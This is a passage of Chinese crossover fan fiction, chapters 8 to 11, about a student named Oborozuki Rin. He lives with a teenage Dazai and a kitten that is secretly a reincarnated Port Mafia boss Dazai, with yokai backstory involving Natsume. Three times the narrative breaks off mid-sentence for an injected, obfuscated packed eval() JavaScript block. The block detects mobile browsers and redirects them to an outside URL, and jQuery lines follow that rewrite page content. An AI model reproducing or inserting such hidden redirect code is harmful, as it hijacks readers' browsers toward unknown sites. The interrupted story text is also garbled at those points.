太宰治一声不吭地提着塑料袋,自从走错方向后,他就变得异常老实,现在跟在胧月凛身后,该姿态足以让安吾直呼见鬼。
安吾:他从未见过太宰如此乖巧!
采购、砍价。
太宰第一次以亲历者的身份,不加目的地接触市井生活。
或者说他见过、分析过,可真正跟着谁去体验这一切……
这是第一次。
人类的悲欢并不相通,胧月凛面上不显,背影和脚步中都透出轻快感。
他很开心:砍价成功,多省下一笔经费。
太宰治搞不懂胧月凛为什么毫不在意,他不想继续接触和胧月凛了,他怕被灼伤。
要知道自己可是很怕疼的。
他越走越慢,与胧月凛拉开近百米的距离。
“……”
纷乱、纠缠,这才是太宰治最习以为常的事物。
现在的日子真是太无趣了。
……鬼才想和他浪费时间。
胧月凛不知道太宰想什么,只是回头时看到对方掉队,于是便向太宰治走去。
“太宰?怎么停下了?”
胧月凛走得很快,马上就到了他的身边。
在某个太宰治自己也没有意识到的时刻,内心紧锁的门,仿佛松动了一瞬。
太宰治:“没什么~记一下老板的联系方式。”
“已经记下了。”
“诶~”
“……唔……做的不错?”
8. 第八章
第八章 正版@晋江文学城
——
充实的一天即将结束。
因为买的东西够多,商店同意免费配送,剩下的一点东西他带回家,等明天上学时,一起拿到网球社。
而太宰治在采购完成不久后,便悄悄溜走不知去向,胧月凛没有在意,毕竟工作完成了,也确实没有留他的意义。
而按照惯例,他现在要做的是回去休息。
不过……在那之前先去一趟超市吧,补充食材。
之前购买的是单人份,现在多了一个人的存在,食材必须也要相应的增量才行。
而且,比起几乎没有动过的罐头来说,猫猫对猫饭的态度好太多了,甚至能够光盘。
这让胧月凛见到了喂养成功的曙光。
……食量只有普通幼猫十分之一的家伙,让胧月凛有些焦虑。
不过现在,一切都好起来了。
唔……猫猫的嗅觉比较敏锐,或许会更喜欢新鲜的肉类。
胧月凛决定一样样尝试。
……
…………
平平无奇的打猎回家后,公寓门前。
胧月凛再次懵逼。
因为担心胧月凛反悔,将绷带退货,药店大叔效率极高,没等胧月凛回来,就把两麻袋绷带送了过来。
此刻麻袋正一左一右伫立门口,右边麻袋瘫软在地,露出一地绷带;而左边的麻袋口大敞着,面对胧月凛时向来高冷的幼猫正支棱着两条后腿,努力向里钻。
很显然,幼猫便是打败麻袋的将军。
是幼猫罕见出现的不稳重现象。
“……小黑?”
幼猫投入地蹭着绷带,宛如吸了猫薄荷一般,因为用皮毛反复摩擦塑料,猫毛炸起,膨胀了一圈,险些溢出麻袋。
飘飘忽忽间,幼猫似乎听到一个熟悉的声音,它抽空闲忙地转过头,发现了饲主,幼猫斜睨胧月凛,施恩般应声。
“咪~~~”
叫声超级甜腻!
胧月凛瞬间遗忘一切,任劳任怨地把散落的绷带收到另一个麻袋中,最后将两个麻袋并猫打包回室内,一个麻袋被他放到主卧门口,另一袋……
幼猫躺在麻袋里,一副要把它当窝的样子。
胧月凛纠结了一会儿,又看着第一次那么像猫的幼猫,很不舍,还是柔声劝道:“咪咪,这是给别人买的……”
嗯?
幼猫听闻此话,停下动作。
幼猫毛发炸起,不满地挥爪拍向绷带:什么别人!你还有别的什么人?
明明什么都没有做,还是被幼猫看渣男的眼神所震慑。
胧月凛无师自通转移话题:“今天买了鲜牛肉?听老板的推荐,是很嫩的里脊哦。”
“不过猫猫专用的肉源商说,要过几天才能发货,所以这份也要做熟后吃……”
一边说着,胧月凛一边试图用鲜牛肉将幼猫引诱出绷带。
然而……猫猫不为所动!
看幼猫的神情,他明显听懂胧月凛在说什么。可它视若无睹,冷淡地翻了个身,自顾自拉长身体,更大范围地在绷带上留下气味。
……显然地,胧月凛的解释无法让猫满意,他绝不会离开麻袋。
“好吧……你听了不要生气。”
“就是昨天住进来的人类,他的名字是太宰治。”
“嗯……或许对猫猫来说,这个名字有些复杂,是太宰,da、zai。”
“抱歉,”
胧月凛晃晃牛肉,“我承诺过太宰,要帮他买足量的绷带,所以……”
太宰治?
听到自己的名字,幼猫停下动作。
是的,胧月凛身前,表面是幼猫的这只,实际也是“太宰治”
与十五宰不同的是,他来自港口黑手党,是组织的boss。因为工作实在繁忙,太宰治不堪其累,一跃解千愁。
再次睁眼,成为了一只猫,又被胧月凛抱回家,精心饲养。
很好,正巧他不想做人了。
唯一的缺点是……
宰猫本能地在绷带上踩来踩去,猫爪舒张,尾巴不耐烦地扫了一下。
——这具身体属于猫,大概是身体与灵魂融合度太低的缘故,本能反应总是占据上风。
因此,时不时会做出些让宰猫感到愚蠢的猫猫行为。
不过随着时间的流逝,首领宰明显感觉到自己对身体的掌握度在一点点攀升。
胧月凛垂眼,歪头:“……?”
猫猫抱着绷带蹬什么?还发出咕噜咕噜的声音……
胧月凛回忆起前两天读过的猫咪行为艺术。
咕噜,兔子蹬,这——是捕猎的动作啊!
猫猫这么舍不得离开绷带吗?
但行为艺术上也写了,如果猫猫出现一些莫名警惕的行为,要上供猫猫更感兴趣的物品转移注意力,有其它好玩的,它就会失忆。
此时,铲屎官可以伺机取走被害物品。
猫猫喜欢什么?这还用说吗。
胧月凛自信拿过卷纸,放到幼猫旁边:“来,玩这个,你最爱的。”
……哈?
宰猫从思绪中抽离,发现自己又不受控地踩奶,默了一瞬。
卷纸,只是绷带的临时替代品。
在有选择的情况下,宰猫自然会选绷带裹身,那才是最佳良品——
胧月凛就这么不想给他绷带?
宰猫冷冷瞥卷纸,后脚一抽,想把卷纸蹬走,好在这次理智成功地战胜了本能。
……等一下。
猫的脑容量制约了宰猫的脑速,他如梦初醒般忆起,昨天,莫名冲动让他和十五宰在柜橱大战一场,又因胧月凛睡着而暂停战斗。
结局是:宰猫凭借体型优势,占据饲主头部的绝佳位置,获得初步胜利。
而十五宰……
宰猫不承认是胧月凛的脑袋很好睡,他不知不觉趴在上面睡着了,总之再次醒来,路过餐厅时,十五宰正坐在餐桌前。
桌上有个猫碗,是宰猫的。
宰猫不喜欢暴饮暴食,哪怕是最爱的蟹肉也不行。
他矜持地决定缓慢进食,晚上便只动了一条蟹腿。
而现在,几乎没有动过的猫饭在十五宰面前,见到宰猫出来后,十五宰粲然
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15486888|170089||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一笑,动作夸张地将猫饭一口倒进嘴里。
“嗯嗯——真是美味啊——”
宰猫猫耳一抖,踢开绷带,后爪搭上卷纸,毛脸冷酷。
他有了更妙的主意。
接下来只要等那小子回来。
……
…………
要不要回去呢?
溜走后,十五宰在外面漫无目的地游荡了很久,至于为什么?十五宰不想思考。
等他回过神来后,身体已经驱动着他回到公寓。
十五宰在门前停了不知多久,一直没有动作,直到思绪被飞速鼓动的口袋唤回,他才如梦初醒般低头。
临回前,他去了一趟鹤见川,爬出来后,浑身湿漉漉的,没有处理。
唤醒十五宰的动静来自裤兜,里面有条红色小鱼,不知怎么钻进来的,因为缺氧而拼命挣扎。
鱼鳃一张一翕,拼命地汲取空气中的养分,太宰治盯了两眼。
十五宰在外面待了很久,此刻天色微红,已是清晨,距离鱼离开水过了近半小时。
像是找到什么不得不进门的理由,他不再迟疑,推门入室。
这个时间点,胧月凛还在睡眠中。
他为十五宰留了玄关的一盏灯。
此刻十五宰推开门,昏黄灯光倾泻而出,在他身上镀一层暖色。
玄关处有个小小的洗手台,上面摆着一个水杯,胧月凛用来灌溉他的盆栽。
十五宰拧开龙头,接了半杯水,将小鱼丢进水杯中。
终于接触到水的小鱼来回盘旋,游过几圈,便恢复了活力,十五宰于是不再看它,就着水,细致地将双手清洁完毕。
再抬眼,洗手台上方有两个挂钩,一边挂一条毛巾,左边那条崭新,没有用过,也是胧月凛特意为他准备的。
白色的一条,左下角绣了个小小的字母“D”
十五宰擦干手。
胃部传来微不可查的饥饿感,想到昨天早上的猫饭,以及中午的便当,十五宰有些期待。
昨晚,胧月凛做了什么料理呢?
莫名地,他从未出现过:“胧月凛会忽略他”的想法。
十五宰一脚踩下一边的鞋子,脚印留在身后,留下湿漉漉的一串,深深浅浅地印在干净的地板上。
公寓的玄关布局与客厅有个拐角,并且用一扇玄关柜挡住大半视野,他需要转个弯才能看到室内。
十五宰走到客厅,首先看到的便是两个卧室。
他很容易便看到主卧门边左右堆的两个麻袋,聪明大脑转动,十五宰分析得出,那些绷带还是被胧月凛买回来了,并放在他的必经之路。
十五宰原本像被猫爪拨弄过、缠绕不堪、毛线球般纷杂混乱的情绪,在此刻像是有一双无形的手,温缓地将其细细梳理开来,并将它摆放成十五宰最喜欢的模样。
湿衣服冰冷沉重的触感在此刻无比明显,十五宰突然在乎起这早就习以为常的沉坠感。
“嗯嗯,清理一下,换身干净衣服好了。”
十五宰推开卧室门,床中央,蹲着黑黝黝一团,两点鸢色。
十五宰:“……咦?”
9. 第九章
第九章 正版@晋江文学城
——
……
危险。
想法本珍重后的轻松感瞬息失踪。
见到宰猫的瞬间,十五宰松弛的情绪立刻绷紧。
理智告诉他幼猫不足为惧,本能却叫嚣着警惕。
某一瞬间,他竟然觉得这只猫涌现出的气场,比他记忆中曾见过的最残暴的人还要危险。
可昨天见到这只猫时,十五宰除去一点微妙地反感,竟毫无察觉。
胧月凛知道这只猫不简单吗?
十五宰提高警惕,看似放松、毫无察觉地勾起笑容:“凛酱的猫?怎么到这里来了。”
他眼中闪过一抹玩味,慢慢接近床铺,若无所觉地伸出手,试图碰触宰猫。
十五宰还是谨慎的,而判断过众多可能后,让他去触摸的原因是:十五宰拥有名为“人间失格”的异能,可以通过碰触使他人的特殊能力无效化。
然而幼猫似乎早已料到他的动作,任由十五宰靠近。
就在十五宰距离猫毛只有一厘米时,十五宰停住了。
十五宰打心底觉得自己的如临大敌有些可笑,其实就算猫有什么问题,和自己又有什么关系,饲养他的人是胧月凛。
而且只是一只猫而已。
孱弱的,三个月大的幼猫,只要十五宰想,可以用双手轻而易举地将其扼杀,说什么威胁,真的很可笑。
明明在脑内无数次嫌弃胧月凛、又想要离开的太宰治,此刻却又将那些思绪抛之脑后。
空气静默一瞬。
“真是的,一定是太久没睡觉迷糊了,一只猫而已。”
他手掌下压,猫耳被压平,软乎乎毛茸茸的一颗小脑袋。
说着,十五宰自来熟地顺着猫头向背脊捋去,看动作,是想确认幼猫的性别。
对于有智慧的生物来说,这样的行径无疑是极度冒犯,难以被接受的。
而只要对方有所行动,十五宰自信他可以推测对方轨迹。
时针咔哒、咔哒地响着。
大脑紧绷到极点的十五宰关注着房间内的一举一动,却忽视了来自门外,与钟声重合的脚步声。
正当他即将触摸到宰猫腹部时,胧月凛推开房门:“太宰,醒了吗?房门怎么开着。我看到客厅有你的脚印。”
“你有见到我的猫吗……?”
疑问声悄然消失在空气中,十五宰第一次见到胧月凛情绪如此外露。
惯常平和的家伙在生气时,面部也不会有过大扭曲,然而十五宰可以准确地捕捉到,那点微妙的情绪。
十五宰僵住。
此刻,十五宰手下一直没有反抗,乖顺地像只毛绒玩具的幼猫,发出孱弱地、细细地一声:“咪……”
同时,左爪不着痕迹地偏了偏,露出一直被它压在身下,丝毫看不出痕迹的一截卷纸。
电光火石间,十五宰明白了一切。
阴谋诡计是不存在的,存在的是引诱自己过度解读的戏精猫。
十五宰听到胧月凛的声音:
“太宰,你做了什么?”
……
…………
不理解。
完全不理解。
为什么大人说出的话,和心里的想法总是相反?
众人的嘈杂声中,小小的太宰治沉默着。
父母吵架后,两人在盛怒中砸碎了屋里的所有东西。
然而恰巧客人来访,夫妻两个重归于好,可一地狼藉并不像感情那么好修复。
于是,一切成为了太宰的错,他被指认为调皮的孩子。
可谁也不知道,他天生便拥有能看透人心的智慧,太宰早便从大人的脸上看出,他们知道真相,却默认了造成一切的人是他。
不懂。
但或许这才是对的?
于是太宰也学会了戴上面具。
“太宰?”
啊……
十五宰恍惚想起,或许是胧月凛的态度太过平和,让一贯谨慎的他不自觉间卸下心防,将能够伤害到自己的武器,亲手递了出去。
明明只是短暂几天的相遇,明明没有经历过什么,甚至谈不上多么了解。
是体温太过冰冷的原因吗?
混淆了感官,让来自他人的体温变得灼热滚烫,哪怕相隔甚远,也能被清晰地感知到。
十五宰清楚地知道,脖颈有许多致命点,哪怕是位幼童,也能够在明确部位后,毫不费力地终结一个成年人的生命。
这是无比危险地、绝不能被他人所碰触的部位。
恍惚间,他人的气息越来越近,十五宰能感受到,胧月凛的目光打在自己身上,像是一把刀。
而他,愚蠢地递出那把足矣让他死掉的武器。
十五宰眼睁睁看着胧月凛接近自己,他不知道自己此刻的表情有多么无措。
只是僵直着,感受胧月凛的手距离脖颈只差毫厘。
而后,胧月凛停下动作。
十五宰看起来很不对劲……还是先把人和猫分开好了。
“太宰。”
胧月凛再次喊道,这次,似乎唤醒了十五宰的神智。
“……嗯?”
游移不定的语气,连同勉强到胧月凛都能看出的表情,仿佛应答只是本能行为。
胧月凛什么都没做,除去方才那丝不知指向何人的隐秘不虞外,再未提供可供十五宰分析的情绪。
手被主人移开,铡刀没有落下。来自他人的体温撤离后,十五宰感受到从心底散发出的冷意。
无论那暖意来源为何,都确确实实地让十五宰感受到了温暖。
所以现在……他要做什么?
“身上怎么这么湿,冷不冷?”
话题太过突然,时间过了好久好久,十五宰懵懵地发出一声疑问。
“……诶?”
“洗个热水澡,换身衣服好吗?”
十五宰没说话。
……最后,十五宰和猫宰,一个被胧月凛牵在手中,一只被胧月凛抱在怀里,游魂般跟着胧月凛来到浴室。
胧月凛将宰猫安置在洗手台上,十五宰则下意识找了不会妨碍到胧月凛动作的角落。
而后……一人一猫呆滞地看着胧月凛刷好浴缸,拧开水龙头,又把洗漱用品一一摆好。
大多都是现拆的包装,看得出是为十五宰准备的。
这时,浴缸中的水也放了不少,他眼睁睁地看胧月凛翻了翻浴缸旁边的抽屉,从里面掏出一袋浴球。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15486889|170089||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
胧月凛拿出其中一个,丢进浴缸。
一接触水,浴球便发出哔啵哔啵的声音,旋转着漾出粉紫色,胧月凛又在柜子里翻出一袋泡泡浴液。
“这个泡沫很丰富。”
介绍着,胧月凛撕开袋子,将液体倒入浴缸,又拿了旁边的一根……棍子?
“搅一下,和浴球混合起来效果更好。”
的确……
十五宰和宰猫都看到了,倒入浓缩沐浴露后,浴缸内的泡泡肉眼可见的变多,若有似无的鸢尾花香缭绕在鼻尖。
泡泡先是铺满水面,然后一个个堆叠起来,随着搅拌动作,有个泡泡晃晃悠悠地飘向空中。
透明地、颤颤巍巍地、但还是顽强地飘到了十五宰面前,不知为何,十五宰没有动作,任由泡泡落在他的鼻尖。
近乎无声地破裂开来。
香气并不浓厚,清雅柔和、再配合上十五宰灵敏的嗅觉,能准确无误嗅到隐藏,一点温暖的木调,夹杂着浴室中潮湿温润的水汽,留在鼻尖。
“要听音乐吗?”
十五宰发呆这会儿,胧月凛已经把水放的差不多了,他手里拿着一个小小的音响,问。
十五宰还没洗过这么有仪式感的澡,下意识拒绝:“不用了。”
“好,”
胧月凛捞过从来到浴室后,便陷入僵直的黑猫抱在怀里,点点头,“泡一会儿吧,驱寒。”
“洗衣机上面有换洗衣服,是没有穿过的干净衣服。”
“那么,我先出去了。”
浴室门被轻轻关上。
——说真的,无论胧月凛安慰还是不理解,只要他有所反应,十五宰都能扯开话题。
胧月凛偏偏什么都没有做,只是当做什么都没有发生般地,仍然以平时的态度对待他,十五宰反倒无力可使了。
十五宰与浴缸僵持良久,他看着泡泡们在水中漂浮着,细微的水流声还在响。
为了维持浴缸的温度,胧月凛并没有把花洒关掉,而是让它持续提供温度。
最后,十五宰喃喃自语着,“……只是很好奇紫色的浴液泡起来是什么感觉。”
慢慢把自己浸在水中。
……
另一边。
胧月凛托着僵硬的幼猫回到卧室。
关上门后,他盘膝坐在地上,举起猫猫,猫猫身躯自然拉长,后腿下垂,爪子搭在少年膝盖上。
拉开后黑黑细长的一条,只有肉垫是粉色的。
“小黑。”
“小黑。”
接连唤了几声,凝固着像是塑像的黑猫,仿佛摄于饲主的压迫般,无声地偏转视线,避开胧月凛的目光,用实际行动证明自己听到了,但无动于衷。
“……”
见幼猫一副拒不合作的样子,胧月凛也无法勉强它什么,叹了口气。
胧月凛没有对今天凌晨,一人一猫的交锋发表意见,也没有提起什么该与不该。
“抱歉……”
胧月凛把猫猫放下。
反倒是幼猫失去支撑,有些不适应地蹬了下后腿。
少年垂下眼,触摸宰猫的动作,轻得仿佛在碰触一朵花。
“是我的错。没有经过你的允许,擅自将其他人带回来。”
10. 第十章
第十章 正版@晋江文学城
——
……
那是太宰治初成首领时的事。
年纪轻轻便继承港口黑手党,即便一直是内部被忌惮恐惧的人,却还是有些人试图趁首领更替之际,浑水摸鱼。
这应该是最后一次了吧。
首领宰缓慢地擦掉沾在脸颊的血,轻飘飘地想。
他的面前,是面朝下趴在地上的三具尸体。
——这三个人,是港口黑手党的中层干部,因为说错话,为叛徒求情而不容。
于是在三人不断地道歉和士下座中,鲜血流了满地。
首领宰转身,大衣在风声中猎猎作响,在周围人恐惧的眼神中,他难能可惜地想。
黑手党做了二十几年,居然还真心认为道歉有用。
……
…………
“……小黑,”
胧月凛举起手来,瞅着幼猫,软下声音。
“对不起嘛。”
垂着脸,声音沮丧的少年,宰猫不需要看到,便能从脑海中细致地描绘出模样。
眼睫是颤动的,或许还会轻抿唇瓣。以及,神情也会比平时更加茫然无措。
——那双清凌凌的瞳孔,也会因添上郁色更加深沉。
然而。
……你道歉,我就要原谅吗?
幼猫卧趴在少年□□,猫躯板直,闭着眼睛,一副拒不合作的样子。
“要怎么做,小黑才会原谅我?”
“要不,等会儿我们去买绷带好了,不,立刻就去。”
“或者……小黑会喜欢其他东西吗,要出门逛逛吗?”
可惜身体比主人诚实,在一声声哄劝中,宰猫身躯不自觉软化。
直到那一句:“如果小黑实在不愿意住在一起,那就——”
宰猫直起身,猫爪堵住胧月凛即将说出口的话。
他不想搬家。
“小黑,你同意我的道歉申请了!”是难得的高兴语气。
宰猫这次很是理直气壮地睁开眼,他直起身,站在胧月凛腿上。
胧月凛没给宰猫剪过指甲,但宰猫一直收着力道,而且这具身躯似乎也不怎么成长,一直维持在幼崽的状态。
指甲当然也是如此。
因为用力,后爪爪尖在饲主腿上凹出四个小坑。
胧月凛非但没有反应,反而还稳固住身体,随便幼猫动作。
猫科动物普遍是近视眼,但或许是体内加载了人类灵魂,出现一些微妙的变动,宰猫觉得凑近一些,反而能更加看清胧月凛的变化。
经过宰猫检查,确认胧月凛表情放松,情绪良好。
然后,他发现胧月凛胸前沾着一根棕褐色的头发。
宰猫立刻伸爪去扒。
胧月凛没有躲,这点让宰猫十分满意。
猫比想象中好哄,胧月凛也很满意。
——至于十五宰。
当胧月凛想起他时,已经在宰猫的指挥下,来到了横滨最大的海鲜市场。
……还好昨天存了太宰的line账号。
趁宰猫不注意,胧月凛给十五宰留了个言。
在横滨这座无秩序的混乱城市,宠物的牵绳问题,也只是无序中微不足道的一点。
——更何况,横滨还有城市传言说,这座城市背地里的守护者,便是一只猫。
看在这点的份上,在不涉及个人利益时,大家普遍对猫有更高的容忍度。
所以一只不牵绳,走在海鲜市场的猫,也不会让人排斥。
……原来,更喜欢海鲜啊。
看看现在专注地嗅闻螃蟹,又想想昨天对牛肉不为所动的幼猫,胧月凛若有所思。
出门前,胧月凛已经给班主任发了消息请假。
因为是个好学生,且一直以来都信誉尚可,老师很快就准了。
这也是胧月凛毫不着急,陪着宰猫慢慢逛街的原因。
胧月凛跟着宰猫停下在一个贩卖螃蟹的摊位。
胧月凛和老板对视。
宰猫眼神犀利,神情比在港口黑手党谈论价值数亿的业务还要专注,只见猫爪伸出,依次点过几只螃蟹。
胧月凛紧随其后:“老板,多少钱。”
一番交涉,老板和胧月凛在砍价比赛中获得了僵持十分钟的好战绩。
最后,老板败下阵来:“算了算了,看猫也不容易,就便宜点卖你了!”
他很是心疼地拿了最重的袋子装螃蟹,并掺入些许水分。
胧月凛目光一凝。
宰猫悄悄伸出爪尖,勾破塑料袋。
经过早上的栽赃嫁祸后,宰猫好像破罐子破摔了,对胧月凛的接触不再抗拒。
……也可能是为了争宠?
胧月凛挥掉莫名升起的想法,拿出宠物湿巾,帮宰猫擦干净爪子。
虽然没有过交流,可一人一猫配合默契,老板阴谋破灭,乖乖地换了正常包装,一手交钱,一手交货。
拿好战利品,胧月凛抱起宰猫。
“还想去哪里?”
宰猫矜持地“喵”了一声,胧月凛钱包大缩水。
最后,提着一堆战利品的胧月凛,头顶宰猫,回到公寓门前。
猫科动物听觉敏锐,隔着门,隐约能听到隔壁电视机在播放。
“叔叔阿姨们!孩子在这里真诚地告诫大家,子女不和,多半是老人无德。若想家庭和睦,点击下方链接#¥%”
再强调一下,宰猫没有接受胧月凛的道歉。
宰猫:“……”
宰猫:身体突然被本能控制。
宰猫探头,张嘴,啃噬胧月凛的额头。
胧月凛:“唔、唔唔、!”
好不容易等宰猫啃完一轮,还在蓄力的时候,胧月凛:“小黑、小黑你怎么了?”
胧月凛眼前一黑又一黑,口不择言:“你还在吃醋?仁王不是说生气了花钱购物能哄回来吗?他骗我。”
但是昨天十五宰看上去心情好了不少啊?
宰猫一顿:“………………”
胧月凛:“……”
胧月凛:“………………”
坏了,猫不爱听。
气氛突然安静。
这时,房门被打开了。
泡完澡,香喷喷,毛发蓬松的十五宰出现。
十五宰已经整理好心情,现在看上去像是想通了什么,情绪甚至还高涨不少。
这是宰猫的发现。发现的同时,他把胧月凛眼睛捂得更紧了。
一人一猫对视一眼。
空气中火药味淡得胧月凛没有嗅到,但引线已经引燃,分别延伸到对峙的人猫身上。
胧月凛摸着黑放下手里的购物袋,将猫爪拿
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15486890|170089||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
下,十五宰适时露出笑容。
清纯、可爱。看得胧月凛一阵阵恶寒。
十五宰:“你回来啦?”
宰猫的爪子,扣在胧月凛手背,生疼。
胧月凛:“……”
十五宰甚至还有闲心加了句:“凛酱,既然你不去上学,那我也不去了。”
……
或许是冥冥中自有天意,让胧月凛及时地制止了一人一猫关系急剧恶化。
但与此同时,胧月凛也付出了一定的代价。
不知道猫和舍友背地里达成了什么协议,胧月凛俨然成为了他们确立领地的标志物,要求胧月凛一丝不苟,绝对平均地对待两位。
譬如,像每个二胎家庭一样,一碗水必须端平。
给老大什么,就要给老二什么,不能偏也不能移。
顶着黑眼圈,窝在活动室角落拿卷尺量完绷带长度,又用直尺画好线,确保一毫米也没有多的胧月凛,终于忍不住地哽咽了。
“我到底做错了什么。”
而且自从带宰猫出门一次后,对方就像是找到了什么理由,时不时地就独自出门转一圈。
还发展出了新的爱好:一人一猫分别选择花坛盯梢胧月凛。
胧月凛:无力承担。
好不容易避开十五宰和宰猫的盯梢,胧月凛抱头无助地蹲在桌子下面,不想出来。
仁王雅治哄了半天,陪胧月凛蹲得脚都麻了。实在是坚持不住了,他盘腿坐下。
银色的小辫子被主人拨到脑后,仁王雅治探头看桌底。
看了会儿,仁王雅治说:“要不别管了?”
反正十五宰也不是什么正规途径来的。
胧月凛抱着头,过了会儿他才开口,因为蜷曲,声音闷闷地:“不能丢。”
“总觉得,如果放弃太宰,他会消失……”
胧月凛声音越来越轻,尾音消散在空气中。
仁王雅治没听清:“什么?”
“……渴了,”
胧月凛不客气地说,“仁王帮我拿水杯。”
……
…………
“猫咪老师,你想什么呢?走神到踩进水杯也没察觉。”
夏目贵志无奈,拿了手帕放在三花猫旁边。
胖胖的公三花,猫咪老师先是把爪子摁在手帕上,潦草地擦擦。
“我说,夏目,你还记得露神吗?就是那个啦,带着大叔面具的妖怪。”
露神,是因为人类供奉而存在的妖怪,因为最后一位信徒过世,被遗忘存在的他,选择了消散。
“露神……?猫咪老师,露神不是消散了吗?”夏目贵志说,“难道他还能回来?”
想到这个可能,夏目贵志有些开心。
“你想什么呢!”
猫咪老师一个猫猫飞踹,打破夏目贵志的幻想,三花猫毫不客气地说:“人死不能复生,妖怪也一样!”
它满意收爪,斜睨捂头呼痛的夏目贵志。
“只不过……妖怪的死亡定义和人类不同。”
“……猫咪老师怎么突然提起这个了?”
“对某些存在来说,遗忘,便等同于死亡。”
“喂——想什么呢?”
“你小子表情很让妖手痒啊!我可不是那种失去羁绊就会死掉的脆弱妖怪,我是大妖——”
“大!妖!”
11. 第十一章
第十一章 正版@晋江文学城
——
两年前。
“叮铃、叮铃——”
遥远的小镇八原,寂静的夜晚,悠长古朴的铃声响起。
池塘泛起涟漪,少顷,巨大的马首从水中冒出,水珠顺着他庞大的身躯洒落,足有半人大的眼睛贴近池塘边的黑发少年。
少年站在原地,毫无所觉。
“三筱大人。”
妖怪们喊着名字,很快地赶到池塘边上。
“哎呀,大家都是因为胧月大人来的?”
他们互相看看,你推我挤地走向前问好。
三筱:“不用喊了,他现在什么都不知道。”
“可怜的胧月大人,现在什么都看不到了,怎么才能让他恢复神力……”
“你们在说什么呢?”有妖很懵。
“忘了吗?之前,是之前啦。胧月大人承诺过一个小屁孩,要帮他做一件事。”
“然后呢?胧月大人不是做了吗?昨天能力发动时的光,差点被我看成林子里失火了。”
“哼……”
三筱从鼻子里喷出一口气,雾气有意识般包围住胧月凛。然而,少年对这超现实的一幕,仍旧是眼都不眨一下。
出于对首领的尊敬,众妖很快静默下来,等待三筱讲话。
三筱轻抬马蹄,蹄尖仿若没有实体,径直穿透胧月凛,像是分隔两个次元,谁也无法接触到谁。
这是只有看不到妖怪的人类,才会拥有的状况。
“这家伙实现别人心愿的过程中,出现差错,把自己搞成人类了。”三筱简略地说。
“啊——???”
此话一出,众妖震撼。
“胧月大人!可怜的胧月大人!”
“怎么就把自己搭进去了呢?”
“从神明变成人类,会失去所有吧?”
“记忆、能力、认知、全部都没有了。是空白如婴儿般的存在——”
有感性的妖怪,已经因为妖怪们的形容偷偷抹起眼泪。
“咳咳。”三筱拉回正题。
同样是超现实的存在,三筱能捕捉到胧月凛体内沉寂着的力量。
他摸摸下巴,沉吟道:“力量还在,只是被封印了。等完成他的诺言,应该就可以恢复了。”
“那么问题来了,”三筱说,“有谁知道胧月给出了什么承诺?”
“……”
妖怪们面面相觑,纷纷摇头。
“胧月大人不是八原的本地妖怪,我们只知道他是最来的,至于什么时候——”
有妖小声:“人类的时间,我们妖怪哪分得清哦。”
妖怪们讨论了一阵子,终于从各自的口中拼凑出大概经过:十几年前,胧月凛遇到一个男孩,男孩帮助了胧月,为了报答男孩,胧月答应帮对方一个忙。
“但是胧月大人等了很久,都没有再见到那个男孩。而且,也没有人向他许愿。”
“……不过说起来,那个男孩是不是给胧月大人起了名?”
“什么?可恶的人类……!对于妖怪也好,神明也好,名字可是‘咒’啊。如果承认了新名字,就相当于和对方有了比父母更深的因果线,这可是绝对不能应答的事!”
“我记得,好像叫什么…ri…n…凛!”
“凛?”
一直毫无反应的胧月在听到“rin”的音节后,活了过来,他准确地锁定了发声的妖怪,可眼中却仍是空无一物。
“……”看来,名字的确被认可了。
“糟糕,事情变得麻烦起来了呢。……必须要找到那个男孩才行。”
“不过说起来,男孩的名字是?”
……
“太宰。”
胧月凛往桌底又缩了下,几根手指险些戳到他的脸上。
胧月凛:“你做什么。”
“凛酱果然在这里。”
十五宰伸手,唤狗一样招招,“来来,快来。”
被仁王喊了很久都不想从桌子下面出来的胧月凛,此刻一言不发、毫无挣扎,怏怏地钻出来,手里还攥着直尺绷带和铅笔。
看绷带卷上的痕迹,和十五宰缠在手臂上的灰黑色铅印完全一致。
是的,全都是胧月凛的工作成果。
“哎呀,凛酱。”十五宰笑得意味不明,“像小狗一样,一呼就来了呢。”
“我最——最——最——讨厌小狗了。”
“……”
胧月凛扭过脸去,懒得理。
自从和十五宰熟悉后,他的表情越来越生动了。用仁王雅治的形容来讲,胧月凛更拟人了。
“等一会,”
胧月凛哄孩子一样说,“长度还没量完。”
“……不是哦,是仁王君拜托我来喊你,他说你的水杯失踪了。”
显而易见的谎言。
但胧月凛相信了,他是万物有灵派。
胧月凛放下手里的东西,紧张地问:“在哪里失踪的?”
“呜呼,似乎是3号网球场,也可能是北边的长凳?对了对了,听说在花坛那边好像也出现了水杯的踪迹。”
胧月凛跟着十五宰,一个个找了过去。
